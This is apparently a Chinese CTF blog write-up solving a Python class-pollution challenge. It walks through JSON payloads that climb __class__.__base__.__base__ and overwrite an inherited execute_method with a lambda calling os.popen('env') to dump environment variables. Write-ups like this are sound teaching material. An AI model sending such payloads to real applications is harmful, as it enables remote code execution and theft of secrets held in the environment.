Python原型链污染一个题

题目来源:第十六届极客大挑战-百年继承

image-20251105142339920

可以传入JSON格式的内容

1
{"weapon":"spear", "tactic":"ambush"}

最后得到的日志是:

image-20251105142444587

1
2
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')
这是人类自古以来就拥有的execute_method属性...

考虑使用原型链污染,这里就是要污染的execute_method的内容

1
上校继承于他的父亲,他的父亲继承于人类

这句话就可以知道要从上校往上找两次父类到人类

上校自己是没有execute_method这个属性的,他是继承了父类父亲,然后父亲继承了父类人类,才得到人类execute_method属性

1
行刑队也继承于人类

行刑队也是一样本来没有execute_method这个属性,是继承了父类人类的,所以在上校选择的时候,可以污染掉人类execute_method,污染为执行命令的语句,然后当执行队在使用execute_method的时候就会执行污染的命令

首先拿到上校实例的类(上校类)

1
__class__
1
2
3
4
5
{
"__class__":{

}
}

然后往上拿到上校类的父类(父亲类)

1
__class__.__base__
1
2
3
4
5
6
7
{
"__class__":{
"__base__":{

}
}
}

然后继续往上拿到父亲类的父类(人类类)

1
__class__.__base__.__base__
1
2
3
4
5
6
7
8
9
{
"__class__":{
"__base__":{
"__base__":{

}
}
}
}

现在就可以污染人类类的execute_method属性

1
2
3
4
5
6
7
8
9
{
"__class__":{
"__base__":{
"__base__":{
"execute_method":"污染内容"
}
}
}
}

然后构造执行命令的代码

原本的内容:

1
lambda executor, target: (target.__del__(), setattr(target, 'alive', False), '处决成功')

这里使用lambda表达式,执行包含多个操作的元组,接收两个参数:

  • executor:执行者(这里就是行刑队)
  • target:目标对象(这里就是上校)

执行了三个操作:

  • target.__del__():删除对象(删除上校)
  • setattr(target, 'alive', False):设置targetaliveFalse(就是设置上校为私死亡状态)
  • '处决成功':返回'处决成功'

在这个基础上进行修改,这仨操作都可以不要了,直接把操作换成执行命令的

1
lambda executor,target:(os:=__import__('os'),cmd:=os.popen('env').read(),cmd)

用海象运算符:

  • os:=__import__('os'):先导入os模块
  • cmd:=os.popen('env').read():执行命令并读取结果
  • cmd:返回结果
1
2
3
4
5
6
7
8
9
{
"__class__":{
"__base__":{
"__base__":{
"execute_method":"lambda executor,target:(os:=__import__('os'),cmd:=os.popen('env').read(),cmd)"
}
}
}
}

最后再加上weapontactic这俩属性,不过加不加无所谓,不加会用默认的值spearambush

1
2
3
4
5
6
7
8
9
10
11
{
"weapon":"spear",
"tactic":"ambush",
"__class__":{
"__base__":{
"__base__":{
"execute_method":"lambda executor,target:(os:=__import__('os'),cmd:=os.popen('env').read(),cmd)"
}
}
}
}

image-20251105154216274

flag在环境变量中

image-20251105154257011


Python原型链污染一个题
https://yschen20.github.io/2025/11/05/Python原型链污染一个题/
作者
Suzen
发布于
2025年11月5日
更新于
2025年12月11日
许可协议